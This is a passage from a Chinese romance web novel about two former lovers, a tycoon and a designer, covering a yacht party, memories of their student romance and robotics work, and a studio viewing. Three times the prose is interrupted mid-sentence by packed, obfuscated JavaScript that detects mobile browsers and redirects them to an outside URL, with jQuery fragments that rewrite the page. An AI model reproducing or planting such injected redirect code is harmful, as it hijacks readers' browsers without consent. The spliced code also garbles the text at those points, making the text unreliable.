郝乐有时跟他开玩笑,说阿枕,你从世界第一的工学院毕业,回来做财大气粗的土地主实在太屈才了,你应该发明一堆新科技,带领全人类跑步进入赛博时代! 舒枕山反问:你不是说我应该去当男模吗? 郝乐妥协地耸耸肩:“行吧,你爱怎么加班都行,但是你就不能回公司加班吗?你看看这是能工作的地方吗?你也不怕哪个二代偷看你的资料然后泄露商业机密。” 确实不是适合工作的地方。舒枕山看着舞池里光怪陆离的光线,妖魔鬼怪般的男女……以及追光灯下那只灵动洁白的蝴蝶。 不论他们在玩什么酒桌游戏,打什么牌,冉步月都融入得很好,即使是从未接触过的新游戏,冉步月观战一局立刻就能上手。该藏拙时不露锋芒,该出手时大杀四方,手法很聪明,在人精堆里游走自如。滴酒不沾、借刀杀人地默默灌倒了很多人。 几个些真才实学的公子哥意识到他很厉害,邀请冉步月之后去他们的俱乐部,冉步月却笑而不语,像一只抓不住的精灵,转而投身旁边姑娘们的歌舞派对。 被酒湿透的衬衣早已不翼而飞,冉步月身上穿着一件不知道谁为他披上的镶钻无袖背心,头上也戴着顶不知谁送的钻石皇冠,简直是上流世家的贵公子,冉步月被簇拥着,随着节奏轻歌曼舞,跳得漫不经心,美得毫不费劲,勾得人无法移开目光。 舒枕山从来不知道冉步月这么吃得开,在他的印象中,Ran还是那个在派对上表现局促的大一新生,用冷脸掩饰拘谨,会偷偷询问舒枕山怎么叠口袋巾,亦步亦趋地跟在他身边,像一只窝里横的乖乖手养鸟。 而现在,女孩子们的香水味缠绕着他的小孩,公子哥们称兄道弟的手臂搭着他的小孩,价值连城的好酒像雨滴一样落下,洒在冉步月和陌生人们放慢镜头的笑容上。 舒枕山从未如此清晰地意识到,从那个飘满彩色气球的午后到现在,从那个只爱泡实验室的小男孩到现在熟稔推杯换盏的贵公子,冉步月已经独自走了太长的路。 在飘满辉煌金屑的慢镜头前,舒枕山心中居然只有一个想法—— 在他没看到的地方,冉步月肯定受了很多苦。 冉步月大概是玩累了,还没来得及放下酒杯,身子就晃了一下。 风筝线被狠狠扯动,舒枕山几乎是立刻就站了起来。然而他还未迈步,就见到一个高大帅气的年轻男模出手扶住了冉步月,低头关心询问状况,看起来笑容很温柔。 年轻人端来一杯温水,冉步月没推辞,看嘴型,他还对男模说了“谢谢”。两人就这样肩并肩坐到旁边的矮凳上,手臂紧挨着手臂,笑着不知道在聊什么。 舒枕山好像挨了当头一记闷棍,但又没法迈动脚步。 他现在要去做什么?扯开他们俩吗?凭什么,以什么身份,什么立场? 冉步月刚才笑着问,舒总,我喝我的,这跟你有什么关系? 是,现在冉步月除了欠他一笔荒唐的清洁费,和舒枕山没有任何关系。 他们分开了六年,冉步月和多少人约过会、接过吻、上过床、谈过恋爱、甚至打算厮守终身? ——这些,统统和舒枕山没有任何关系。 该死的。 一股无名野火突然灼烧他心的荒原,方才好不容易压制下去的冲动又野蛮地窜上来,难以言说的焦虑感飞快地蚕食着他,浑身顿时涌出一层冷汗。 舒枕山几乎是有些慌张地从贴身内兜掏出一片什么东西,紧紧攥在手心,渴求地用指尖摩擦布料粗糙的纹路,像一个溺水的人抓到唯一的浮木。 不知是因为六年前他们的分别,还是因为别的什么,舒枕山染上了这个毛病。他很矛盾,渴望人的触碰,在日常生活中又极为排斥。他强烈地渴望占有什么,又极度害怕失去,以前症状严重时甚至会做出破坏性行为。 所以刚才被冉步月触碰的那一瞬间,身体本能地做出了抗拒,因为他不确定自己会做什么。 舒枕山强迫自己转移目光,看向深邃幽暗的大海,默念医生教他的方法,调整呼吸,告诉自己处在一个绝对安全的、舒适的地方,放松双手,将注意力从触觉上移开,平、静,平、静。 坚强的意志打败了一切,舒枕山颤抖着松开手,掌心里沾着旧红酒渍的方巾已经被他揉成了一团。 再回神时,冉步月身边的那个男模不知所踪,舒枕山不明显地松了口气,心跳平复了许多。 “什么,你说船上的白松露没了?”郝乐难以置信,勉为其难道,“哎好吧好吧,没事,那给我做一份黑松露剁椒鱼头吧。” 郝乐一转头,被舒枕山的眼神吓了一大跳,忙问:“阿枕,你没事吧?” “……”舒枕山还是用这种眼神看着他,幽幽地说,“幸好郝家没有进军餐饮行业。” “不允许你质疑我对美食的品味!”郝乐怒气冲冲地说,“船快要返程了,你还要吃什么快点下单,一会儿大厨就休息了,别怪我没提醒你。” 舒枕山诚恳道:“谢谢郝大人提醒。” 船正在返程,意味着派对接近尾声。 那些烂醉如泥的公子哥们估计会在船上或者海边私人会所里挑几个模特度过春宵一夜,舒枕山和吃回本了的郝乐显然不属于此列。 就这么一会儿功夫,冉步月就不见了。 舒枕山站起来:“我去换衣服,准备下船了。” 郝乐摆摆手:“哦,拜拜。我要等我的黑松露剁椒鱼头。” 舒枕山目标很明确,直奔下层公共更衣室。 冉步月现在身上没半件干净衣服,就他的洁癖程度,一定会换上得体的衣服再走。客舱里的私人浴室大概率被富哥们占了,冉步月不可能擅闯,所以他只会在公共更衣室。 和甲板上的杯盘狼藉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164517|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形成鲜明对比,下层更衣室里十分冷清,欧式复古壁灯亮着昏黄的光晕,将空旷的更衣室染出了油画般的质感。 油画的笔触中,长发男人背朝门口,他正抬手摘下头顶的皇冠,脱掉亮闪闪的无袖背心,甩到地上。 奶油般光滑的背部裸露出来,瘦削的肩胛骨随着他脱衣服的动作,像蛇骨般收紧、而后舒展。腰线紧窄漂亮,浑身都没什么肉,唯有后腰处陷下去两枚浅浅的腰窝,像古典油画里的美神。 舒枕山完全忘了呼吸,生怕惊扰了眼前的景象,碰碎了梦里的梦。 他甚至忘了自己是怎么无声无息地锁上大门,然后来到冉步月身后的。 但他确信,纵使自己再小心,他还是发出了声响。 因为冉步月整个人身子一僵,保持着背对的姿势,问:“Kelvin?” 舒枕山喉头动了动,但没发出声音。他那颗从世界第一学府毕业的大脑此刻在很缓慢地为他检索,谁是Kelvin。 冉步月好像突然放松了些,修长的手指拉住舒枕山的手腕,将他往那边拽。 “Kelvin.”他面色红润,呵气如兰,语气好生缱绻。 浓烈的酒精气息扑面而来,像沾着水露的绵密蛛网,将两人笼罩在粘稠暧昧的氛围中。 舒枕山觉得自己一半浸在冰水里,另一半在岩浆中燃烧,他终于从浅层记忆的犄角旮旯中翻出这个名字—— Kelvin,这是那个男模的名字。 冉步月单手捧住舒枕山的脸,指尖像弹钢琴似的,哆唻咪地从舒枕山英挺的眉骨弹到唇角,醉醺醺地吐字:“你的下巴……真的好硌手啊。” 他浑身滚烫,不要命似的往舒枕山身上贴。 内陷的部分非常柔软,挤着舒枕山的大臂肌肉。 舒枕山觉得自己浑身血管正在一根、一根地轰然爆裂。 他哑着嗓子问:“Ran,我是谁?” “……你是,你就是啊。” 冉步月嘟哝着含糊抱怨,勾住舒枕山的脖子向上求索,湿热的呼吸完全扑在他脸上。舒枕山明明滴酒未尽,却觉得自己醉得厉害。 这是一个很适合接吻的姿势。 距离不过五公分,只要舒枕山稍稍弯腰,或者冉步月踮起脚尖,他们就会吻到对方。 舒枕山保持着这个距离没动,眼眶发红,又问了一遍:“Ran,我是谁?” 冉步月抿了抿唇,似乎想努力地聚焦视线,但目光始终是涣散的。 只听他很轻地问:“……这对你来说重要吗?” 舒枕山已经在理智崩溃的边缘,始终得不到他想要的答案,就像脖子上始终悬着一把断头刀。 冉步月似乎也不想再思考这人是谁这种深奥的问题,手指滑到舒枕山腰间,粗暴地去扯他的皮带。 “!” 舒枕山这次的反应更激烈,强硬地捉住冉步月的两只手腕,交叉在一起摁到他胸口,颤声说:“Ran,你醉了。” 冉步月开始挣扎,但这点扑腾在舒枕山眼里根本不够看的,单手就把他制住了。 舒枕山从他身上摸出手机,语气变得异常的冷静:“你的助理叫什么,我帮你给他打电话。” 五分钟后,舒枕山从更衣室里出来,步履匆匆,姿态几乎有些狼狈。 舒枕山随便进了一间无人的私人更衣室,反手摔上门,气息难以平静。 他靠到墙边,仰头吐气,手指按着刚刚被冉步月触碰的下腹,扯开了凌乱的皮带。 布料稍微拉下一点,露出强健的腰腹和人鱼线,麦色皮肤上留有一小圈凹凸不平的肌肤。 这里曾经被一颗子弹贯穿。 13.夜晚愉快 舒枕山冲了个冰水澡,比平时花费更多时间。 他换好衣服回到甲板上,船已经靠岸,仍保有自主行为能力的客人们正在散场。 冉步月在人群中很显眼,那个叫Kelvin的男模正好碰到他,两人讲了几句话,一起往下船的方向散步。 舒枕山急着回公司,所以他迈开大步,很快走到了冉步月附近。 只听Kelvin崇拜地说:“冉哥,今天和你聊天很愉快。你真的懂好多东西!” 冉步月好像还醉着,反应了会儿才侧头跟他说“没有”,这一侧,就看到了舒枕山。 两人的视线一触即分。 “嘿,二位晚上有什么安排?”李曜玩味的声音突然插进来。 他搂着一个漂亮的小男模,男孩眨着迷蒙的大眼睛,软绵绵地靠在李曜怀里,看上去也醉得不轻。 冉步月心里倒没什么波澜,像李曜这样的人在gay圈不在少数,见到合口味的就能睡一睡,只是和冉步月的生活方式不同罢了。冉步月反问:“曜总的安排呢?” 李曜暧昧道:“你们有什么安排我们就有什么安排呗。” Kelvin听罢,居然脸上一红,整得跟个纯情大学生似的,小声跟冉步月说:“哥,我…我没做过几次,技术不太好,但硬件条件还可以,你多包涵……” “……”冉步月心里嘎嘎飞过几只乌鸦,若有似无地瞥了眼旁边,再虚虚地靠到Kelvin肩上,语气带着轻佻的醉意,“哦,这就是你刚刚拒绝我两次的原因?” Kelvin茫然道:“啊?我没有啊……” “没事,我不嫌弃。”冉步月懒懒地说,“我教你。” 李曜低笑,望过来的眼神更深:“阿冉这么厉害。” 身侧忽地刮过一道锋利的冷风,舒枕山迈着长腿越过李曜,目不斜视地走到前面,他身边跟着一个身高腿长的美女,身材曼妙,气质出尘,露出整片雪白的后背。快下楼梯时,舒枕山特地绅士地伸出一条胳膊,让她挽着自己下楼。 李曜小声惊叹,这是xx奢牌的御用名模啊,也只有舒总能上手了。 “……”冉步月冷漠地别开目光。 郑二少已经醉得不成样子,看到舒枕山的一瞬间还是立刻清醒了,点头哈腰的。 舒枕山笑眯眯地说二少别这样,我可受不起。少爷赶紧摆手,朝美女使了个眼色,吩咐她“都听舒总的”。 舒枕山挺客气地说“谢谢二少”,又说“但还是一码归一码”,撇下愁眉苦脸的郑二少下了船。 冉步月从另一侧楼梯走下船,恰巧和舒枕山碰了个面对面。 码头浮桥宽度有限,堪堪允许四个人并排通过,两侧就是大海。 恰巧,舒枕山和冉步月步速相同,齐头并进。 舒枕山左边跟着美女,冉步月右边跟着帅哥。虽然两位模特都觉得这样走路怪挤的,而且他们有栽进海里的风险,但两位大佬自顾自地并排走在一起,他们也只能跟着。 更怪的是,这两个大佬走在一起,却又不和对方讲话。 舒枕山温柔地问女模:“高跟鞋走得累吗?” 女生受宠若惊:“不,不累。” 冉步月关心地问男模:“晚上吃饱饭了吗?” 男生点头如捣蒜:“吃,吃饱了。我等会儿一定用力。” 于是四个人就这样肩并肩并肩并肩从浮桥末端走到了岸上,军训似的。 到了岔路口,左边是私人停车坪,右边是公共停车场。 舒枕山顿了顿脚步,淡道:“冉先生,祝你夜晚愉快。” 冉步月笑着颔首:“舒总,你也是。Enjoy your night.” 说完,舒枕山和冉步月朝相反的方向转身,背对背走远,谁也没回头。 “老大!”田小喆冲下车,猛地看到冉步月身边跟着个青春阳光大帅哥,惊讶三秒,喜极而泣,“老大,您终于要开张啦!恭喜啊!” 冉步月翻了个白眼,在傻白甜帅哥快要跟上车之前摔上了车门,语气平淡冷静,没有半分醉意:“Kelvin,晚上辛苦了。” Kelvin目瞪口呆,一句“您还没享受服务呢,我哪里辛苦?”还没出口,对方的车已经绝尘而去,留下他独自在风中凌乱。 私人停车坪里,舒枕山坐上车,穿着长裙的名模站在外面没动。她太懂察言观色,舒枕山对她显然没兴趣。 舒枕山降下车窗,客气道:“徐小姐早些休息吧。” 徐小姐:“舒总也是。” 升起车窗,暗色的迈巴赫滑入夜色,司机小孙回头看了眼舒枕山疲倦的面色,担忧道:“舒总,您确定现在去公司吗?已经快凌晨了。” 舒枕山说“去”,平静注视着夜里的公路。迈巴赫平稳地超过一辆辆车,每一辆都很陌生。 直到拐上高架,舒枕山才收回视线,查看冬姨发来的遛狗照片和视频。又点开监控,看到芝麻趴在大门口,时不时抬起头嗅嗅,再失望地埋下头睡觉。 深夜的公司大楼空空荡荡,舒枕山踏入总裁办公室,灯光与屏幕自动亮起,好像进入专属于他的超级飞艇。 十二小时后,他约了发改委司局长会面,再过一周,他打算正式宣布砚川进军机器人领域,在此之前,有很多东西需要舒枕山亲自过目和准备。 舒枕山工作的时候永远是心无旁骛的,今天却有些例外。 皮肤底下似乎总有什么在燃烧躁动,像是开着一个关不掉的后台程序,不管舒枕山在想什么,这种躁动始终都在。 夜里三点,舒枕山熄灭屏幕,进入私人休息室,冲凉洗漱,躺进宽敞空旷的大床。 他闭上眼,睡不着。 其实舒枕山对这种状态并不陌生,过去六年,在他日夜颠倒搞事业的间隙,即使每天只睡四小时,每每闭上眼,脑海里疯狂地都是冉步月的脸。 只是今天,他看到冉步月湿漉漉地、软热地缠上来,眼眸潮湿,嘴里喊的却是别的男人的名字。 然而即使在以前,冉步月也不爱喊舒枕山的名字。 学姐婚礼的第二天清晨,舒枕山在别墅客房醒来,冉步月还在他身边睡得很香,脸埋在被窝里,像一条冬眠的、盘成球的蛇。 舒枕山就这么安静地注视着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177718|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直看到冉步月睡到自然醒,睁开迷蒙的眼睛。 “Shu?”这是冉步月醒来后发出的第一个音节。 舒枕山其实有点遗憾,他希望听到冉步月用标准的中文喊他全名,而不是像其他人一样,用美式发音念他的单姓。 昨夜有段时间,冉步月拖着哭腔,软软地喊他“舒枕山”。双手疯狂抗拒地想推开他,有些地方却在挽留,不知是在求救还是在勾人。 从那天开始,舒枕山就常常觉得自己飘在云端—— 我是在和冉步月谈恋爱吗?这就是恋爱的感觉吗? 好幸福。 其实从生活上来说,和以前没有太多变化。 上课,下课,偶尔处理些破事,翘课,泡实验室,翘课,泡实验室,泡实验室。 他们当时正在紧锣密鼓地准备一场机器人比赛,对手是不值一提的哈耶普斯和其他一些更不值一提的学校,所有人都赌上了毕生的荣耀、尊严与性生活,发誓要夺得第一——好吧,至少要碾压隔壁哈佛的麻瓜们。 艾子兰,中美混血,也是实验室里第一个见到冉步月的那个卷发姑娘,成天撺掇大家在赛场上搞点什么无伤大雅的恶作剧,用以戏弄其他学校。这样即使得不了冠军,还能以另一种方式名垂青史。 大家啃着学校免费派发的香蕉,纷纷兴奋地举手表示支持,猴子群似的上蹿下跳。 “嘿,Ran,Shu!”艾子兰举着香蕉突袭,“你们两个怎么不听讲?” 冉步月慢腾腾地盖住桌上画满设计图的纸,认真地点头:“嗯,我支持。” 舒枕山坐直身体,不动声色地挡住艾子兰的视线,淡定地输出:“这个主意很不错,但我认为,在我们原型机的精确度还不能达到90%的情况下,我们应该专攻……” “噢,天哪。噢!”艾子兰夸张地用香蕉拍打手掌,语气压抑不住的兴奋,“Ran和Shu有属于他们自己的小宝贝!没有任何其他人知道的秘密小宝贝!” 猴子们蜂拥围上来,嘻嘻哈哈地八卦一通,谁知这两人嘴严得很,左问右问也打探不出什么东西,大家本来就是闹着玩,很尊重社交距离,不多时也就散了,继续焦头烂额地攻坚克难。 等到深夜,实验室里其他人全走空,冉步月和舒枕山眼神一对,从抽屉里掏出皱巴巴的稿纸,继续他们的“小秘密”。 正是冉步月被逮到偷用3D打印机时,他尝试创造的小家伙。 不论过去多久,舒枕山始终记得,冉步月在纸上勾勾画画时展现出的享受与天才,他的笔尖可以创造一切。以及他在谈论这些想法时,偶尔流露出的脆弱与柔软,让舒枕山无法不动容。 那时冉步月充满期待、眼睛发亮地说:“Shu,你好像是唯一一个懂我在做什么的人,我们可以一起看着它诞生。” ……然而后来,是舒枕山先抛弃了他们的“小宝贝”,这个本该熠熠闪光的小家伙,始终没有迎来它诞生的那天。 舒枕山靠在总裁休息室的床头,再次修改了一遍“总设计师聘用邀请函”。长达二十页详实的资料与合作条件,已经被他密密麻麻地修改了无数遍。 14.E-1027 舒枕山写完又一轮批注,盯着合同上“冉步月”三个字发呆,思绪不受控地拐进他一直刻意避免的阴沉角落—— 现在是凌晨三点多,冉步月他们完事了没? 那个小男模比自己稍微矮一点,但胜在年轻,肌肉练得很漂亮,单纯得跟张白纸似的,连没多少经验这种事都往外倒。 不过看样子,冉步月挺吃这款,撩人地跟小男模说“我教你”。小男模也挺呆萌,认认真真地承诺“我晚上一定用力”。 舒枕山比谁都清楚,冉步月其实撑不了太久,不经弄,容易累,用力过猛反而会逼得他应激。 冉步月真的会教他?会怎么教?这愣头青小男模正是精力旺盛的年纪,会不会一学起来就发狠了忘情了,像脱缰的野狗一样毫无技巧地横冲直撞,冉步月肯定会难受的…… “轰!”一声沉闷的巨响。 舒枕山冷静而缓慢地把拳头从床头柜台面拔出来,意大利私人定制的木质床头柜被豁然锤开了一个大洞。 这么多年过去,舒枕山早已接受冉步月会和别人约会的事实,分手后move on再正常不过。但知道是一回事,亲眼见到是另一回事。 舒枕山阴暗地想,早知道他就应该假装自己是Kelvin,至少假Kelvin能提供更高质量的服务。 毕竟不管他们如何争吵,如何互相冷脸,在床上他们都非常合拍。 最开始,他们吵架的主题总是围绕着机器人技术问题。 团队合作无法避免冲突和意见分歧,但舒枕山和冉步月吵得尤为突出。大概是因为每次他们其中某个人提出一个思路,剩下那个很快就能领悟对方的意思,如果赞成就皆大欢喜,如果意见相左,两人便会你一句我一句地争起来,硝烟很快会蔓延到草稿纸和白板上,众人得在旁边观战五分钟才能明白这两个思维跳跃的家伙在吵什么。 其他人在实验室里的时候,战火很快就会席卷所有人,大家混战一通,最后一方说服另一方,达成共识。但如果实验室里只剩他们俩,事情就会变得不太一样。 舒枕山已经忘了那次在吵什么,好像在争论外骨骼是应该选择占用空间较小的柔性电池,还是能量密度更大的锂电池,看起来是个简单的二选一问题,但这个小小的选择会牵一发而动全身,最终导致两人的设计方案相差甚远。 冉步月板着脸,在白板上写下公式的速度非常快,口条清晰地陈述自己的理由。舒枕山抱着手臂在旁边看,听到某个地方的时候眉心突然拧起,不甘示弱地拿起白板笔框出质疑点,毫不客气地进行反驳。 两人以笔作剑,打得刀光剑影,血压飙高。白板一亩三分地被挤得满满当当,跟玩斯普拉遁抢地盘似的,最后两个人不得不缩在所剩无几的一小块地方,肩膀和手臂时不时撞在一起,两人皮肤都是滚烫的。 舒枕山突然意识到什么,皮肤相触的地方后知后觉炸开一串烟花,顺着神经末梢迅速攀升。 那时离他们第一次上床没过去太久,正处在舒枕山以为的“热恋期”,稍许火星足以引起燎原大火。 这一下莫名其妙让舒枕山聪明绝顶的大脑短路了,眼里的公式和数字通通蒸发,只剩下冉步月握着白板笔的手指、一张一合的嘴唇、和他随意扎在脑后的小发揪。 舒枕山觉得自己多少有些智性恋,伶牙俐齿的冉步月非常性感,浑身散发着魅力。然而等他转头看过来的时候,舒枕山又觉得自己是个不折不扣的颜控。 “我算好了,你自己看吧,用纤维类柔性电池至少能节省35%的空……”话还没说完,冉步月猝不及防被吻住了。 冉步月耳朵尖突然红了,愣了几秒后,艰难地推开舒枕山,严肃地控诉:“Shu,我认为你这是犯规的行为,你打断了我的发言。” 舒枕山申辩:“没有,我只是想合法获取一个发言机会。”说完,他开始一条条反驳冉步月的计算。 “……”眼看着冉步月的脸色黑下去。 结果就是冉步月以牙还牙,狠狠地堵住了舒枕山的嘴。 不知道后来两人是怎么拉拉扯扯地回到宿舍的,刚进房间,两个年轻男孩便疯狂地吻到一起,从门口到床边没几步路,一路走一路脱,齐齐摔进床里时两人身上已经不剩什么。 大抵是因为这个悬而未决的电池问题,两人心里都憋着气,谁也说服不了谁,谁也不甘落于下风。冉步月抿着唇一声不哼,舒枕山就想方设法逼他示弱,冉步月报复性地一口咬在舒枕山肩膀上,两颗犬齿尖尖的,跟条毒蛇似的嵌进皮肤,舒枕山硬是咬着牙关捱了过去。 一方强,另一方就更强,循环往复。没人喊停,没人求饶,没人屈服,不像上床,反而像打架。 那次实在过激,弄湿了大半张床,身上全是对方盖的戳。第二天,实验室的伙计们惊讶地发现,平时最勤奋的两个中国人都很晚才到实验室,而且一个比一个裹得严实。 大家打趣地问发生了什么,生病啦?结果他俩指着密密麻麻的白板,异口同声地问,公民们,你们给评评理,哪种电池方案更合理? 后来类似的事又发生过很多遍,他们无法说服对方,就试图在床上征服对方。但即使在床上,他们也分不出胜负,通常结果是两败俱爽。 抽干所有体力后,两人疲倦而舒服地依偎在一起,一觉香甜好梦到日上三竿。 那时舒枕山想,这恋爱谈得真是有滋有味,老婆、对手、宠物蛇,一次性养齐全了。 直到后来冉步月的生日,舒枕山才啼笑皆非地发现,自己真是错得离谱。 即使是第一次谈恋爱,舒枕山也从各种影视作品和身边朋友身上学到,伴侣的生日是非常重要的,需要特别的仪式。 舒枕山提前三个月开始准备,焦头烂额地否定了无数礼物备选,最后还是毫无创意地选择了红玫瑰、蛋糕、和一个购买的礼物。 蛋糕是舒枕山自己亲手做的,他知道冉步月嘴挑,嫌外面卖的蛋糕太甜。蛋糕上面歪歪扭扭地画着两个小人,一个高高的,一个头发长长的,手牵着手。 舒枕山提前潜入冉步月的房间,将里面布置好,然后去教室等他下课,随便扯了个由头,要和他一起回宿舍。 冉步月推开门,震惊地愣在原地。 “生日快乐,小蛇。” 玫瑰花几乎堆满房间的每一个角落,花朵簇拥着一把长得像米其林轮胎的椅子,椅面上摆着一个蛋糕。 “O…M…G…”冉步月实在太震撼,目光呆滞地扫过浪漫的玫瑰,最后落到那把椅子上,难以置信地走近,“Bibendum chair……这是真的吗?” “你猜猜?”舒枕山享受地看着冉步月的反应,知道一定俘获了他的心。 这把椅子是爱尔兰女设计师Eileen Gra ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191319|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' y的家具设计作品,舒枕山前段时间托人在伦敦苏富比拍下来的。Eileen Gray是冉步月最欣赏的设计师之一,舒枕山之所以印象这么深刻,是因为冉步月曾向他分享过这位女设计师非常著名的建筑设计作品——E-1027,一栋位于南法沿海小镇的别墅。 E-1027是由设计师和她当时爱人的名字组成的。 E代表Eileen,10和2分別指第十个和第二个字母J与B,代表她爱人Jean Badovici的名字,同样的,7代表G,也就是Gray。所以看起来,就像是她的名字拥抱着她爱人的名字。 怀着某些隐秘的心思,舒枕山选择了这位设计师的作品,不能说完全没有私心。 冉步月仍沉浸在震撼中,声音呆呆的:“Shu,你知道Eileen的作品最高拍过多少钱吗?E-1027里面摆着的一张茶几,拍了超过两千五百万……美金。” 舒枕山有些歉意:“我现在还没那么多钱,买不起艺术家亲自使用过的,所以我买的只是1928年的某一批量产样品原型。” “即使只是量产原型,也足够摆进艺术博物馆了……不对,我不是想说这个。”冉步月游魂似的飘到椅子旁边,看着就这么大喇喇地摆在昂贵艺术品上的手工蛋糕,看到巧克力小人牵住的手,后背更僵硬了一些。 舒枕山这才意识到,冉步月的反应好像不太对。 他好像被吓傻了。 冉步月抬起头,漂亮的五官透出罕见的茫然:“呃,很谢谢你,但是…呃,在美国,你们对炮友都这么用心的吗?” 舒枕山:“………………” 浪漫满屋里,有人一片片地碎了。 场面一度很尴尬,足有十分钟没人动弹。 但那天之后,他们开诚布公地聊了一次,结束了这段令人啼笑皆非的误会,确认了情侣关系。 后来冉步月也回送了礼物作为补偿,不夸张的说,这是舒枕山收过的无数礼物中他最喜欢的一个。 也是现在最让他伤心的一个。 二十九岁的舒枕山靠在大厦高层的夜色里,回首数年前,扪心自问,是不是他们当初没有成为恋人会更好。 他们可以不带负罪感地上床,满足彼此的欲望而不必向对方负责,他们可以独立自由生长而不被绑定,也不会因为对方而被迫陷入险境,在人生的转折点可以毫无牵挂地体面分开,甚至可以笑着祝福对方前程似锦,后会有期。 而不是像现在,连爱与痛的边界都变得模糊,连陌生人都做得很勉强。 舒枕山想,冉步月天生是个散漫而理想主义的人,时常令人捉摸不透。他应该用毕生追求他热爱的事业,成为声名大噪的业界传奇,顺便享受人间欢愉。 冉步月可以有很多约会对象,但他不会建造属于自己和另一个人的E-1027。 六年后的舒枕山对自己有了更清醒的定位,他不再爱冉步月,也不需要冉步月的爱。 既然冉步月只需要床伴,那舒枕山可以争做最优秀的那一个。 舒枕山将厚实的合同轻轻放到破了一个大洞的床头柜上,疲倦地合眼—— 合作和同床,至少有一个要成功吧。 毕竟这份合同的初稿,早在三年前就已经拟好了。 而早在七年前,他们就已经同过床了,舒枕山理应更有优势。 15.马力强劲 冉步月桌上摊满了李曜公司的产业资料。在做了详尽的调查后,他决定拒绝李曜的邀请。 主要因为他想在自己的工作室做事,拥有更多挑选项目的自由。其次,李曜本人让冉步月觉得不太舒服。不可否认人无完人,李曜是个天才企业家,但冉步月觉得他太油滑,自我意识太强,没什么边界感,和他共事的感觉可能不会太好。 出于社交礼仪,冉步月先给李曜打了一个电话,搜肠刮肚翻出最礼貌的说法,婉拒了李曜。 李曜表示非常遗憾,接着询问冉步月他拒绝的理由,语气温和:“阿冉,不用讲那些虚的,能不能告诉我你的真实想法?” 冉步月挑着主要原因说了:“我还是想做自己的工作室,接不同的项目锻炼自己。” “完全理解。”李曜接受得很快,自然而然地退后一步,“那如果我有稍小型些的项目,是不是能请到ROAM冉总监出山?” 这话把人捧得太高了,冉步月只能赶紧说您这是哪里的话,欢迎来照顾小作坊的生意,冉某感激不尽。 两人又聊了会儿,总之是在说要保持合作保持联系云云,终于磨到快要挂电话的时候,李曜加了一句:“下个月在香港有一个国际性科技产业大会,会有很多科技巨头和国际投资者出席,冉总监有没有兴趣去看看?” 冉步月知道这是亚洲规格最高的科技峰会。他当时没时间申请参会,现在如果有大公司能带他进去,确实会省力不少。 冉步月此时已略悟商业之道,那就是别太清高,别管生意场上的人私生活什么样,能给自己带来利益和便利就行,不会轻易撕破脸。 于是冉步月客套地感激一番,说真是麻烦曜总,李曜大手一挥表示这只是举手之劳,没说什么别的,愉快地结束了对话。 回绝完李曜,冉步月终于可以全身心投入工作室的搭建中。 第二天,他就约了砚川商管的负责人去科技园区看房。 还是之前那个小哥,一上来就热情地和冉步月打招呼:“冉先生,您叫我小赵就好,这是我们的团队,可以为您提供专业解说和选址建议,分别是小钱、小孙、小李……” 专业团队全体穿着得体的西装制服,打着领带,精神饱满,笑容洋溢,显得冉步月和田小喆这两个穿着卫衣板鞋就来看房的人像两个混入大人堆里的学生仔。 “他们服务也太好了吧。”田小喆吹了吹盛在青花瓷碗里的红糖姜茶,这是专业团队准备的迎客礼,小声跟冉步月说,“难怪都说砚川是地产行业的海底捞,这服务名不虚传啊,人家能逆市稳增确实是有道理的……呕!” 田小喆差点把嘴里的姜茶喷出来:“我去,这姜味也忒浓了吧!” 冉步月的那碗已经见底了,他淡道:“我觉得有点甜。” 专业团队笑而不语,嗯嗯,一切都在掌控之中,已经做好了打持久战的准备,不论如何定要将此战拿下! 资料交到冉步月手里有厚厚一大摞,除去之前冉步月看中的一个大楼高层,专业团队还为他多挑了三个备选,每个的资料都非常详尽,肉眼可见地下了功夫。 冉步月先去看了自己看中的高层,田小喆在旁边叽叽喳喳,冉步月不置可否。 转场到下一处,双层的独栋建筑,地方比较偏僻,但刚进去冉步月就眼前一亮。 小赵说这是他亲自挑的地方,上一家公司刚搬走,所以才空出来。 屋外有小草坪,室内面积宽敞,向阳的那侧安了整面的落地玻璃,阳光正好洒进来,在浅灰的水泥地上切割出一条漂亮的线。 冉步月几乎瞬间就心动了,完全是梦中情房。安静、宽阔、能晒到太阳。 “会不会和别的公司合租?”冉步月问。 小赵:“上下两层是一起出租的。” 二楼的风景更让冉步月满意,落地玻璃外正是几株凤凰花树,绿油油的。 小赵注意到他的目光,赶紧瞥了眼藏在手里的提词卡,声情并茂地深情背诵:“如果租下这里,等您的工作室装修好,窗外的凤凰树就开花了。” 噢,天哪。到时候窗外一片火红摇曳,这确实非常让人心动。 